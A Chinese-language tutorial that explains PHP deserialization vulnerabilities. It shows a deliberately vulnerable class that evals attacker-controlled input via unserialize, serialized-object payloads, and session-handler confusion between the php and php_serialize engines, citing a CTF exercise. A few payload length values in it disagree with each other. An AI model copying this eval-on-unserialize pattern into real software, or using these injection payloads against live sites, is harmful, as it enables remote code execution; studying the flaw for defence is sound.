测试反序列化漏洞
反序列化漏洞存在的原因就是很多就是未正确处理需要反序列化的数据
php源码
<?php
class test{
var $poc="";
function __construct() { //__construct() - 在每次创建新对象时先调用此方法
$this->poc = "phpinfo()";
}
function __wakeup(){
eval($this->poc);
}
/*function __destruct(){
* eval($this->poc);
* }//这里的__destruct方法也可以执行,PHP 析构方法 __destruct() 允许在销毁一个类之前执行执行析构方法。
*/
}
unserialize($_GET['my']);
?>
当输入
O:4:"test":1:{s:3:"poc";s:11:"echo "poc";";}
可以发现实例化了test对象,达到任何命令执行的目的
当然真实环境下的反序列化漏洞不可能这么简单
session反序列化漏洞
PHP的session存储的内容有三种格式序列化
名字 | 存取方式 |
---|---|
php | 键名+竖线+经过serialize()函数序列处理的值 |
php_serialize(php>5.5.4) | 经过serialize()函数序列化处理的值 |
php_binary | 键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值 |
存储方式就是由配置项session.save_handler来进行确定的,默认是以文件(FILE)的方式存储。
举个栗子:
输入:
|O:9:"mysession":0:{}
存入session中的值为
php引擎中session
键名|s:21:"|O:9:"mysession":0:{}";
php_serialize引擎中session
a:1:{s:键名的长度:"键名";s:21:"|O:9:"mysession":0:{}";}
php_binary引擎中session
键名s:21:"|O:9:"mysession":0:{}";
由于不同序列化引擎处理同一个数据的方式不同,所以我们可以在两个配置引擎不同的环境下进行操作
用户可控session的情况下
(为了方便理解这个原理我直接通过get来设置session)
session0.php源码
<?php
ini_set("session.serialize_handler","php_serialize");
session_start();
$_SESSION['my'] = $_GET['my'];
?>
可以看到我将第一个序列化引擎设置为php_serialize
将|O:4:"test":1:{s:3:"poc";s:13:"echo "poccc";";}
置入到session中
那么session中存在的应该是
a:1:{s:2:"my";s:47:"|O:4:"test":1:{s:3:"poc";s:12:"echo "poccc";";}";}
可以看到的是由于认为添加了|
符号将整个session前半部分和后半部分。当再用php序列化引擎取解析这个session时会把前半部分当作键名,后半部分当作键值,反序列化的结果用var_dump
输出就是
object(test)#1 (1) { ["poc"]=> string(11) "echo "poc";" }
此时我们拿着这个session取访问session1.php时
session1.php源码
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class test{
var $poc="";
function __construct() {
$this->poc = "phpinfo()";
}
function __destruct(){
eval($this->poc);
var_dump($_SESSION);
}
}
?>
可以把a:1:{s:2:"my";s:45:"
当着键名看到依旧成功实例化了test对象
注意
php5.6.13版本以前是第一个变量解析错误注销第一个变量,然后解析第二个变量,但是5.6.13以后如果第一个变量错误,直接销毁整个session
需要注入session的情况
当session.upload_progress.enabled打开时,php会记录上传文件的进度,在上传时会将其信息保存在$_SESSION中,这就达到了我们注入session的目的
jarvisoj练习平台的题phpinfo利用的就是这个,值得注意的是这里的session.upload_progress.cleanup
关闭了可以直接写入信息,若是设置这个参数为ON,那么需要上传large and crash文件,来使得我们传入的信息得以执行。